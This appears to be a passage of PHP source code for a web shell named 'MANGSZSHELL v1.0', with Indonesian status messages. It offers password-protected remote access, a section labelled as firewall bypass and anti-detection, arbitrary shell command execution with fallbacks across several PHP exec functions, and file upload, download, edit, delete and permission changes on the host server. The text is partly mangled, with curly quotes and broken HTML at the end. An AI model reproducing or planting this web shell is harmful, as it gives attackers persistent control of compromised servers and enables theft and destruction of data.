location.reload();‘);
}
if (!isset($_SESSION[‘auth’]) && isset($_POST[‘pass’])) {
if ($_POST[‘pass’] === $auth_pass) {
$_SESSION[‘auth’] = true;
$_SESSION[‘key’] = $secret_key;
}
}
if (!isset($_SESSION[‘auth’])) {
die(‘
⚠ MANGSZSHELL ACCESS
‘);
}
// ============== BYPASS FIREWALL & ANTI DETECT ==============
$bypass_headers = [
‘User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’,
‘Accept: text/html,application/xhtml+xml’,
‘Accept-Language: en-US,en;q=0.9’,
‘Cache-Control: max-age=0’
];
function bypass_firewall($url) {
global $bypass_headers;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $bypass_headers);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
// ============== CORE FUNCTIONS ==============
function get_current_path() {
return isset($_GET[‘dir’]) ? realpath($_GET[‘dir’]) : getcwd();
}
function list_files($dir) {
$items = scandir($dir);
$files = [];
foreach ($items as $item) {
if ($item != ‘.’ && $item != ‘..’) {
$path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
‘name’ => $item,
‘path’ => $path,
‘type’ => is_dir($path) ? ‘directory’ : ‘file’,
‘size’ => is_file($path) ? filesize($path) : 0,
‘perms’ => substr(sprintf(‘%o’, fileperms($path)), -4),
‘modified’ => date(‘Y-m-d H:i:s’, filemtime($path))
];
}
}
return $files;
}
function delete_item($path) {
if (is_dir($path)) {
return rmdir($path) ? “Folder berhasil dihapus!” : “Gagal hapus folder!”;
} else {
return unlink($path) ? “File berhasil dihapus!” : “Gagal hapus file!”;
}
}
function edit_file($path, $content) {
return file_put_contents($path, $content) !== false ? “File berhasil diedit!” : “Gagal edit file!”;
}
function rename_item($old, $new) {
return rename($old, $new) ? “Berhasil rename!” : “Gagal rename!”;
}
function execute_command($cmd) {
if (function_exists(‘exec’)) {
exec($cmd . ‘ 2>&1’, $output, $return_var);
return implode(“\n”, $output);
} elseif (function_exists(‘shell_exec’)) {
return shell_exec($cmd . ‘ 2>&1’);
} elseif (function_exists(‘system’)) {
ob_start();
system($cmd . ‘ 2>&1’);
return ob_get_clean();
} elseif (function_exists(‘passthru’)) {
ob_start();
passthru($cmd . ‘ 2>&1’);
return ob_get_clean();
}
return “No command execution function available!”;
}
function upload_file($target_dir, $file) {
$target_path = $target_dir . DIRECTORY_SEPARATOR . basename($file[‘name’]);
return move_uploaded_file($file[‘tmp_name’], $target_path) ? “Upload berhasil!” : “Gagal upload!”;
}
function change_permissions($path, $perms) {
return chmod($path, octdec($perms)) ? “Permissions updated!” : “Failed to change permissions!”;
}
// ============== REQUEST HANDLER ==============
$action = isset($_POST[‘action’]) ? $_POST[‘action’] : ”;
$response = ”;
switch ($action) {
case ‘delete’:
$response = delete_item($_POST[‘path’]);
break;
case ‘edit’:
$response = edit_file($_POST[‘path’], $_POST[‘content’]);
break;
case ‘rename’:
$response = rename_item($_POST[‘old_path’], $_POST[‘new_path’]);
break;
case ‘terminal’:
$response = execute_command($_POST[‘cmd’]);
break;
case ‘upload’:
$response = upload_file($_POST[‘current_dir’], $_FILES[‘file’]);
break;
case ‘chmod’:
$response = change_permissions($_POST[‘path’], $_POST[‘perms’]);
break;
case ‘download’:
$file_content = file_get_contents($_POST[‘path’]);
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . basename($_POST[‘path’]) . ‘”‘);
header(‘Content-Length: ‘ . strlen($file_content));
echo $file_content;
exit;
break;
}
// ============== CURRENT DIRECTORY ==============
$current_dir = get_current_path();
$files = list_files($current_dir);
?>
🔥 MANGSZSHELL v1.0
| Name | Type | Size | Permissions | Modified | Actions | |||||
|---|---|---|---|---|---|---|---|---|---|---|
|
” class=”directory”> 📁 📄 |
| |||||||||